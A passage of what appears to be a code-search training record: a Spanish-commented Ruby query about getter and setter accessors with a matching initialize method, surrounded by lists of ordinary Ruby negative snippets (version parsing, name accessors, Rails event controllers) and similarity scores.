vendored_path_parts(package)\n return parts[:import_path] if parts\n\n # if a package isn't vendored, return the packages \"ImportPath\"\n package[\"ImportPath\"]\n end", "def git_describe_version\n return nil unless is_git_repo and raw = run_git_describe_internal\n # reprocess that into a nice set of output data\n # The elements we select potentially change if this is an rc\n # For an rc with added commits our string will be something like '0.7.0-rc1-63-g51ccc51'\n # and our return will be [0.7.0, rc1, 63, <dirty>]\n # For a final with added commits, it will look like '0.7.0-63-g51ccc51'\n # and our return will be [0.7.0, 64, <dirty>]\n info = raw.chomp.sub(/^v/, '').split('-')\n if git_ref_type == \"tag\"\n version_string = info.compact\n elsif info[1].to_s.match('^[\\d]+')\n version_string = info.values_at(0, 1, 3).compact\n else\n version_string = info.values_at(0, 1, 2, 4).compact\n end\n version_string\n end", "def version_path\n @version_path ||= \"lib/#{namespaced_path}/version.rb\"\n end", "def name_and_version\n [display_name, version].compact.join(' ')\n end", "def title_for_repo(repo)\n \"#{repo.name} #{repo.version}\"\n end", "def dcl_version(version)\n return '' if version == 'ga'\n return '/beta' if version == 'beta'\n return '/alpha' if version == 'private'\n end", "def package_name(buildno=nil)\n if buildno\n buildno = Time.now.strftime(\"%H*60+%M\")\n versnum = \"#{version}.#{buildno}\"\n else\n versnum = version\n end\n\n if platform\n \"#{name}-#{versnum}-#{platform}\"\n else\n \"#{name}-#{versnum}\"\n end\n end", "def release_tag_pattern\n\t\tprefix = self.release_tag_prefix\n\t\treturn /#{prefix}\\d+(\\.\\d+)+/\n\tend", "def safe_base_package_name\n if project.package_name =~ /\\A[a-z0-9\\.\\+\\-]+\\z/\n project.package_name.dup\n else\n converted = project.package_name.downcase.gsub(/[^a-z0-9\\.\\+\\-]+/, \"-\")\n\n log.warn(log_key) do\n \"The `name' component of IPS package names can only include \" \\\n \"lowercase alphabetical characters (a-z), numbers (0-9), dots (.), \" \\\n \"plus signs (+), and dashes (-). Converting `#{project.package_name}' to \" \\\n \"`#{converted}'.\"\n end\n converted\n end\n end", "def to_s\n return \"#{namespace}:#{project}:#{component}:#{version}\"\n end", "def folder_name(version)\n version == 'ga' ? 'google' : \"google-#{version}\"\n end", "def prefix(value)\n merge(leprefix: value.to_s)\n end", "def set_version_name!\n if patterns = @name.match(/^(.*) \\[(.*)\\](.*)$/)\n @name = \"#{patterns[1]}#{patterns[3]}\"\n @version_name = patterns[2]\n end\n end", "def wrapper_name\n return @api.wrapper_gem_name_override if @api.wrapper_gem_name_override?\n\n minfo = /^(.+)-v\\d\\w*$/.match name\n minfo ? minfo[1] : nil\n end", "def prefix; end", "def prefix; end", "def prefix; end" ]
[ "0.70594865", "0.6634987", "0.6620091", "0.6477108", "0.6475548", "0.646715", "0.6141901", "0.60339195", "0.5953307", "0.58897", "0.5819408", "0.58188736", "0.575975", "0.5679773", "0.56518424", "0.56303906", "0.56298345", "0.56200975", "0.56118286", "0.55761737", "0.55416447", "0.55414104", "0.550312", "0.5501154", "0.5498291", "0.5459208", "0.54431385", "0.5442855", "0.54376006", "0.54220885", "0.5415191", "0.5411896", "0.5410829", "0.5399805", "0.5391046", "0.538893", "0.5380326", "0.53664356", "0.53651154", "0.53633356", "0.53442013", "0.5337018", "0.53322685", "0.53269655", "0.53267276", "0.5316202", "0.5315966", "0.52968866", "0.52842396", "0.52601475", "0.52498186", "0.52350986", "0.5229235", "0.52122647", "0.5203444", "0.52007556", "0.51983005", "0.51931626", "0.5188442", "0.51768816", "0.51729304", "0.51479846", "0.5136953", "0.5131794", "0.50909716", "0.50889885", "0.5077112", "0.5076544", "0.5071135", "0.5060331", "0.5055499", "0.50526893", "0.5050428", "0.5047672", "0.50456715", "0.5035326", "0.5032679", "0.50291353", "0.50186586", "0.5016685", "0.5014127", "0.50121677", "0.50117177", "0.5011001", "0.500893", "0.5008094", "0.5007424", "0.5002276", "0.5001213", "0.5000141", "0.49990785", "0.4996114", "0.49888492", "0.4985038", "0.4984963", "0.49841508", "0.49700934", "0.49679455", "0.49679455", "0.49679455" ]
0.8411623
0
define geter y seter attr_reader :nombre define el getter attr_writer :nombre define el setter
def initialize(name) @nombre = name #propiedad del objeto #puts @nombre end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_nombre(nombre) # la convencion de ruby es def nombre=(nombre) * Sin espacios\n @nombre = nombre\n end", "def get_nombre # definicion del metodo get para el nombre no esperamos ningun argumento \n @nombre # hacemos un return de la variable, la variable como atributo hasta que nosotros usamos @nombre por primera vez\n end", "def get_nombre # la convencion de ruby es def nombre\n @nombre # el nombre es implicito\n end", "def get_nombre; @nombre; end", "def set_nombre (nombre) # definicion del metodo set para el nombre esperamos como argumento \"nombre\"\n @nombre = nombre # la variable nombre no existe en la variable como atributo hasta que nosotros usamos @nombre por primera vez y luego asignamos el valor del argumento\n end", "def nombre=(nombre)\n\t\t@nombre= nombre\n\tend", "def nombre\n @nombre\n end", "def nombre=(par)\r\n @nombre = par\r\n end", "def setNombre dato\n\t\t@nombre = dato\n\tend", "def setName(nombre)\n @name = nombre\n end", "def get_nombre()\n @nombre\n end", "def nome=(nome)\r\n # @palavra = atributo do objeto\r\n @nome = nome\r\n end", "def getNombre\n\t\treturn @nombre\n\tend", "def getNombre\n\t\treturn @nombre\n\tend", "def nombre\n\t\t@nombre\n\tend", "def nome=(value)\n @nome = value\n end", "def nombre\r\n return @nombre\r\n \r\n end", "def getNombre()\n\n return @nombre\n end", "def name\n return @name\nend\ndef age\n return @age\nend\n#setters, allows you to change or set something\ndef name=(name)\n @name = name\nend", "def username #for each attribute of a class you have two methods a reader and a writer method (same as a gettter and setter methods)\n return @username #the variable \"@username\" is ONLY created when the WRITER, NOT the reader is called; it's created when lana.username - \"lana\" is called ; if the reader is called and the variable is not in the initialize method and the writer method has not been called the program will give you an error; the @symbol is called an instance variable\n end", "def getters; end", "def nombre()\n\t\tputs \"#{@nombre}\"\t\n\tend", "def nome\n @nome \n end", "def nombre=(val)\n self[:nombre] = val.squish if val\n end", "def get_name # AK as mentioned in `item.rb`, getters and setters are generated by `attr_accessor`. Kind of like in C# with properties.\r\n \"#{self.name}\"\r\n end", "def name_setter\n @name\n end", "def nome\n @nome\n end", "def define_getter_for(name)\n define_method(\"#{name}\") do\n instance_variable_get(\"@#{name}\") or\n instance_variable_set(\"@#{name}\", deserialize(name)) or\n instance_variable_set(\"@#{name}\", load_associated(name))\n end\n end", "def asignar_nombre(nombre)\n @nombre=(nombre)\n end", "def setter_to_getter(node); end", "def nome\n @nome\n end", "def name\n nome\n end", "def name= val # Setter - set a value\n @name = val \n end", "def preencher\n nome.set 'leticia'\n \n end", "def initialize(name)\n @nombre = name\n end", "def setter\r\n @setter ||= Field.setter(@name)\r\n end", "def Nombre\n\t\treturn @name\n\tend", "def name # getter method (or reader method)\n @name\n end", "def nombre_completo\n\tprimer_nombre+\" \"+primer_apellido\n#fin del metodo\nend", "def name #use and initlizer to set name as an instance variable\n @name\nend", "def name=(n)\n @name = n\nend", "def initialize\n @attribute = 'truite'\n @accessor = 'pouet'\n end", "def setter_method\n :\"#{self[:name]}=\"\n end", "def set_name=(name)\n @name=name\n end", "def getter\r\n @getter ||= Field.getter(@name)\r\n end", "def name=(o); end", "def define_attr_reader(name)\n define_method(name) do\n instance_variable_get(\"@#{name}\")\n end\n end", "def name_reader\n @name\n end", "def devolver_nombre \n return @nombre\n end", "def get_name\n return \"Irene\"\nend", "def define_accessors attribute_name\n define_getter attribute_name\n define_setter attribute_name\n\n self.attribute_names ||= []\n attribute_names << attribute_name.to_s\n attribute_names.uniq!\n end", "def setter_method\n :\"#{self[:name]}=\"\n end", "def create_accessors(attribute_name)\n class_eval do\n define_method(attribute_name) do\n odata_entity[property_map[attribute_name]]\n end\n\n define_method(\"#{attribute_name}=\") do |value|\n # unless entity[property_map[attribute_name]] == value\n # send(\"#{attribute_name}_will_change!\") if defined?(::ActiveModel)\n # end\n\n odata_entity[property_map[attribute_name]] = value\n end\n end\n\n nil\n end", "def inject_acl_object_getter_setter(method_name)\n inject_acl_object_check(method_name, :read)\n inject_acl_object_check(\"#{method_name}=\",:write)\n end", "def create_getter(name, meth)\n define_method(meth) do\n read_attribute(name)\n end\n end", "def say_my_name\n puts @nombre\n end", "def attr_reader(*)\n end", "def definir_reader_et_writer( id )\n DBC.require( id.class == Symbol && id.to_s !~ /=$/,\n \"*** Un attribut ou association doit etre defini via un symbole simple: id = #{id}\" )\n\n define_singleton_method id do\n get_attribut id\n end\n\n define_singleton_method \"#{id}=\" do |x|\n set_attribut id, x\n end\n end", "def initialize(name)\n\t\t@nombre = name\n\tend", "def attr_accessor(name)\n attr_reader(name)\n attr_writer(name)\n nil\n end", "def attr_reader(name)\n meth = Rubinius::AccessVariable.get_ivar name\n @method_table.store name, meth, :public\n Rubinius::VM.reset_method_cache name\n nil\n end", "def initialize(name) # aqui ionicializamos nuestro contructor ahora que instanciemos un objeto este ira primero aqui \n @nombre = name #esta es una variable de instancia \n end", "def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end", "def setName=(name)\n @name = name\n end", "def create_getter\n @model.class_eval <<-EOS, __FILE__, __LINE__\n #{reader_visibility}\n def #{@getter}\n self[#{name.inspect}]\n end\n EOS\n end", "def name(name)\n @name = name\nend", "def name\n @name\nend", "def define_accessors\n self.metadata.properties_and_identity.each do |name, _|\n self.model.send :attr_accessor, name.downcase\n end\n end", "def name\n @name = self.firstname + \" \" + self.lastname \n end", "def to_getter\n\t\t\t\tis_setter? ? self.to_s[0...-1].to_sym : self\n\t\t\tend", "def saludo \n \"Hola soy un #{self.nombre}!\"\n end", "def create_getter\n @model.class_eval <<-EOS, __FILE__, __LINE__\n #{reader_visibility}\n def #{@getter}\n attribute_get(#{name.inspect})\n end\n EOS\n\n if @primitive == TrueClass && !@model.instance_methods.include?(@name.to_s)\n @model.class_eval <<-EOS, __FILE__, __LINE__\n #{reader_visibility}\n alias #{@name} #{@getter}\n EOS\n end\n end", "def create_accessors(field_name)\n define_singleton_method(field_name) { read_attribute(field_name) }\n define_singleton_method(\"#{field_name}=\") { |value| write_attribute(field_name, value) }\n end", "def define_getter_for(name, property_name: name)\n return if getters.include?(name)\n define_method(name) { |&block| self.[](property_name, &block) }\n getters << name\n end", "def name_setter(new_name)\n @name = new_name\n end", "def name=(n) #rubyist\n @name = n #@name = name\n end", "def to_setter\n\t\t\t\t(to_getter.to_s+\"=\").to_sym\n\t\t\tend", "def attr_writer(name)\n meth = Rubinius::AccessVariable.set_ivar name\n @method_table.store \"#{name}=\".to_sym, meth, :public\n Rubinius::VM.reset_method_cache name\n nil\n end", "def name=(name)\n end", "def name=(value); end", "def _setter_method\n :\"_#{self[:name]}=\"\n end", "def update nombre, valor\n\t\tfind(nombre)[:valor] = valor\n\tend", "def setter\n @setter ||= :\"#{@name}=\"\n end", "def name=(name)\n\t@name = name\nend", "def define_accessor\n klass.class_eval <<-ACCESSOR\n def #{@relation}\n #self.dataset.left_outer_join(#{@relation}, :id => :#{klass.primary_key_string}).limit(1)\n puts #{relation_class}\n end\n \n def #{@relation}=(value)\n end\n ACCESSOR\n end", "def property(name); end", "def name\n self.estado.upcase\n end", "def field_accessors(name)\n field_reader(name)\n attr_writer(name)\n end", "def add_accessors(name, opts)\n name_equals = (name.to_s + \"=\").to_sym\n\n self.send(:define_method,name_equals) do |arg|\n attribute_set(name, arg)\n end\n self.send(:define_method,name) do \n attribute_get(name)\n end\n\n end", "def getter\n @getter ||= @name.to_sym\n end", "def define_getter\n name = @name\n klass.send :define_method, \"#{name}\" do\n return unless send(\"#{name}?\")\n Unitwise(send(\"#{name}_value\"), send(\"#{name}_unit\"))\n end\n end", "def name=(aname)\n\t\t@name=aname\n\tend", "def set_accessor\n @accessor = Accessor.find(params[:id])\n end", "def set_accessor\n @accessor = Accessor.find(params[:id])\n end", "def attr_accessor(*args)\n attr_reader(*args)\n attr_writer(*args)\n end", "def setter\n @setter ||= \"#{name}=\"\n end", "def ausgabe\n\t\t@name\n\tend", "def setter( name ) (name.to_s + '=').to_sym end", "def create_getter!\n @target.class_eval <<-EOS\n #{reader_visibility.to_s}\n def #{name}\n attribute_get(#{name.inspect})\n end\n EOS\n \n if type == TrueClass\n @target.class_eval <<-EOS\n #{reader_visibility.to_s}\n def #{name.to_s.ensure_ends_with('?')}\n attribute_get(#{name.inspect})\n end\n EOS\n end\n rescue SyntaxError\n raise SyntaxError.new(column)\n end", "def name= new_name\n @name = new_name\n end" ]
[ "0.7702928", "0.73755383", "0.7338956", "0.7288412", "0.7153824", "0.7091198", "0.69981533", "0.6985139", "0.69685125", "0.6968393", "0.6950722", "0.67523205", "0.6746073", "0.6746073", "0.67316544", "0.67135125", "0.66731066", "0.662901", "0.6477316", "0.6427793", "0.6370351", "0.6318921", "0.6314968", "0.6300308", "0.6294931", "0.62279534", "0.6226026", "0.61993", "0.61796993", "0.6151046", "0.6149296", "0.6080344", "0.6066625", "0.6000338", "0.5984694", "0.5894326", "0.58882356", "0.58641356", "0.58409053", "0.5832115", "0.5829563", "0.580627", "0.58061266", "0.58059436", "0.57872176", "0.57854885", "0.5784766", "0.5776869", "0.575571", "0.57511544", "0.5737115", "0.5735659", "0.5734389", "0.56930256", "0.56925315", "0.5655633", "0.5642429", "0.5640975", "0.5640939", "0.56341493", "0.56261396", "0.56181765", "0.56138337", "0.55989486", "0.55877036", "0.5587543", "0.55870396", "0.55713695", "0.55580467", "0.5552261", "0.5543845", "0.5540912", "0.5537384", "0.55360836", "0.55343413", "0.55300915", "0.5526597", "0.55255336", "0.55194867", "0.5518943", "0.5513018", "0.5513011", "0.5511392", "0.5507169", "0.5507045", "0.5507036", "0.5502112", "0.54973775", "0.5491143", "0.548319", "0.54788053", "0.5456667", "0.54527295", "0.54527295", "0.54400426", "0.54394054", "0.5424834", "0.54155856", "0.5414612", "0.5407011" ]
0.581895
41
GET /events GET /events.json
def index @upcoming_events = Event.upcoming.paginate(page: params[:page]) @upcoming_header = 'Upcoming Events' @prev_events = Event.prev.paginate(page: params[:page]) @prev_header = 'Previous Events' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def events\n response = self.class.get('/v1/events.json')\n response.code == 200 ? JSON.parse(response.body) : nil\n end", "def get_events\n Resources::Event.parse(request(:get, \"Events\"))\n end", "def get_events()\n @client.make_request(:get, @client.concat_user_path(\"#{CALL_PATH}/#{id}/events\"))[0]\n end", "def index\n #returns all events from eventbrite API, need to change to pull from her endpoint\n @eventList = Event.retrieve_all_events params\n render json: @eventList, status: 200\n end", "def get_events\n response = request(:get, \"/devmgr/v2/events\")\n #status(response, 200, 'Failed to get current events from server')\n #JSON.parse(response.body)\n response\n end", "def index\n @events = Event.all\n render json: @events, status: 200\n end", "def index\n @events = Event.all\n render json: @events\n end", "def index\n @events = current_user.events\n\n render json: @events\n end", "def index\n @events = Event.find(:all)\n respond_to do |format|\n format.html\n format.json\n end\n end", "def index\n @events = Event.all\n\n render json: @events\n end", "def index\n @event = Event.all\n render json: @event\n end", "def index\n @events = Event.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n respond_to do |format|\n format.html\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n respond_to do |format|\n format.html \n format.json do\n render :json => {events: @events}\n end\n end\n end", "def index\n response = { events: Event.all }\n respond_to do |format|\n format.json { render json: response.to_json }\n format.html { render :index }\n end\n end", "def get_events\n if @user.uuid.present?\n @events = @user.events.active_events.page(params[:page])\n paginate json: @events, per_page: params[:per_page]\n elsif @user.uuid == \"guest\"\n @events = Com::Nbos::Events::Event.active_events.where(tenant_id: @user.tenant_id)\n render json: @events\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def index\n\t\t@events = Event.all.order('created_at desc')\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render :json => @events }\n\t\tend\n\tend", "def index\n @events = Event.all\n respond_to do |format|\n format.html \n format.json \n end\n end", "def events(project_id, options = {})\n get \"projects/#{project_id}/events\", options\n end", "def get_events(args)\n\tapi_url = \"#{@base_url}/#{args[:collection]}/#{args[:key]}/events/#{args[:event_type]}\"\n\tdo_the_get_call( url: api_url, user: @user )\nend", "def index\n @events = current_user.events\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def show\n @event = Event.find(params[:id])\n render json: @event\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n \n @events = current_user.events\n \n \n respond_to do |format|\n format.html {}\n format.json { render json: Event.events_to_json(@events) }\n end\n end", "def events\n data[\"events\"]\n end", "def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend", "def index\n @events = @calendar.events.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @events }\n end\n end", "def index\n\t\t@events = current_user.events\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @events }\n\t\tend\n\tend", "def index\n @events = @category.events\n render json: @events \n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def index\n event = Event.find(params[:event_id])\n render json: event.route, status: :ok\n end", "def index\n render json: Event.all, status: :ok\n end", "def show\n render json: @event, status: :ok\n end", "def index\n @upcoming_events = Event.upcoming\n @past_events = Event.past\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n respond_with(@events)\n end", "def index\n @events = getUpcomingEvents()\n \n @page_title = \"Events\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def get_event(session, options={})\n json_request \"get\", {:session => session}, options\n end", "def get(event_id)\n @client.request \"events/#{event_id}\"\n end", "def index\n\t\t@events = Event.page(params[:page]).per(10)\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json {\n\t\t\t\trender :json => @events.to_json\n\t\t\t}\n\t\tend\n\n\tend", "def events\n collection(\"events\")\n end", "def show\n event_id = params[:id]\n if event_id.present?\n @event = Com::Nbos::Events::Event.active_events.where(id: event_id, tenant_id: @user.tenant_id)\n if @event.present?\n render :json => @event\n else\n render :json => {messageCode: \"event.notfound\", message: \"Event Not Found\"}, status: 404\n end\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def event(event, options = {})\n get \"events/#{event}\", options\n end", "def past_events\n @events = Event.past\n render json: @events, include: :talks\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def get_event_list ( year )\n get_api_resource \"#{@@api_base_url}events/#{year}\"\n end", "def index\n begin\n events = Event.all\n render :json => {events: ActiveModel::ArraySerializer.new(events, each_serializer: EventsSerializer), :code => 200}, status: :ok\n rescue Exception => e\n logger.error {\"Error while populating list of events. ErrorMessage: #{e.message}, Params: #{params.inspect}\"}\n render json: {error: e.message, code: 500}\n end\n end", "def show\n \trender json: @event\n end", "def show\n @events = fetch_events\n end", "def show\n render json: EventSerializer.new(@event).as_json, status: 200\n end", "def list\n @events = Event.coming_events\n respond_to do |format|\n format.html do\n render layout: 'events'\n end\n format.json do \n events = @events.map {|event| {event: event, users: event.users, applied: event.users.include?(current_user) }}\n render json: events \n end\n end\n end", "def index\n if params[:query].present?\n @events = GroupEvent.send(params[:query])\n else\n @events = GroupEvent.published\n end\n\n render json: @events\n end", "def fullcalendar_events_json\n events.map do |event|\n {\n id: event.id.to_s,\n title: event.name,\n start: event.starts_at.strftime('%Y-%m-%d %H:%M:%S'),\n end: event.ends_at.strftime('%Y-%m-%d %H:%M:%S'),\n allDay: event.all_day,\n url: event_path(event)\n }\n end\n end", "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event_event = Event::Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event_event }\n end\n end", "def index\n if params[:user]\n @events = Event.where(user: params[:user]).first\n else\n @events = Event.all.order('created_at asc')\n end\n\n render json: @events, :only => [:id, :date, :user, :event_type, :message, :otheruser]\n end", "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def details\n get(\"v1/event/#{@id}\")\n end", "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event } \n end\n end", "def index\n @events = Event.all\n @event = Event.new\n\n respond_to do |format|\n format.html\n format.json { render 'events/index', events: @events }\n end\n end", "def show\n render json: format_event(@event)\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end" ]
[ "0.8340207", "0.82428277", "0.79464173", "0.79294795", "0.7770336", "0.7741841", "0.76710856", "0.7667053", "0.7659808", "0.764342", "0.7622101", "0.7616673", "0.7616673", "0.7614018", "0.7569864", "0.7523623", "0.74899524", "0.74831337", "0.74718815", "0.74428016", "0.74420923", "0.7442092", "0.74397755", "0.7411787", "0.741037", "0.741037", "0.741037", "0.741037", "0.741037", "0.741037", "0.741037", "0.741037", "0.741037", "0.741037", "0.7402072", "0.74019146", "0.73756146", "0.7370427", "0.73675764", "0.73661923", "0.7365181", "0.7362805", "0.7362805", "0.7362805", "0.7362805", "0.7362805", "0.7359898", "0.73526967", "0.7335184", "0.7326293", "0.7322435", "0.72962385", "0.72958034", "0.72894186", "0.72839683", "0.72777474", "0.7275653", "0.7248552", "0.72454745", "0.72295034", "0.72295034", "0.7225017", "0.7214692", "0.72134465", "0.7186063", "0.7183626", "0.71725947", "0.7135722", "0.71308047", "0.7124858", "0.7124098", "0.7116101", "0.7111357", "0.7111357", "0.71069384", "0.7103135", "0.71026677", "0.71022844", "0.71009004", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643", "0.7100643" ]
0.0
-1
GET /events/1 GET /events/1.json
def show @event = Event.find(params[:id]) @event_attendees = @event.attendees end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @event = Event.find(params[:id])\n render json: @event\n end", "def get(event_id)\n @client.request \"events/#{event_id}\"\n end", "def show\n event_id = params[:id]\n if event_id.present?\n @event = Com::Nbos::Events::Event.active_events.where(id: event_id, tenant_id: @user.tenant_id)\n if @event.present?\n render :json => @event\n else\n render :json => {messageCode: \"event.notfound\", message: \"Event Not Found\"}, status: 404\n end\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def get_events()\n @client.make_request(:get, @client.concat_user_path(\"#{CALL_PATH}/#{id}/events\"))[0]\n end", "def events\n response = self.class.get('/v1/events.json')\n response.code == 200 ? JSON.parse(response.body) : nil\n end", "def index\n #returns all events from eventbrite API, need to change to pull from her endpoint\n @eventList = Event.retrieve_all_events params\n render json: @eventList, status: 200\n end", "def index\n @events = Event.all\n render json: @events, status: 200\n end", "def index\n @event = Event.all\n render json: @event\n end", "def index\n @events = Event.find(:all)\n respond_to do |format|\n format.html\n format.json\n end\n end", "def index\n respond_to do |format|\n format.html\n format.json { render json: @events }\n end\n end", "def get_events\n Resources::Event.parse(request(:get, \"Events\"))\n end", "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def index\n @events = Event.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def details\n get(\"v1/event/#{@id}\")\n end", "def index\n @events = Event.all\n render json: @events\n end", "def show\n\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @myevent = Myevent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @myevent }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { 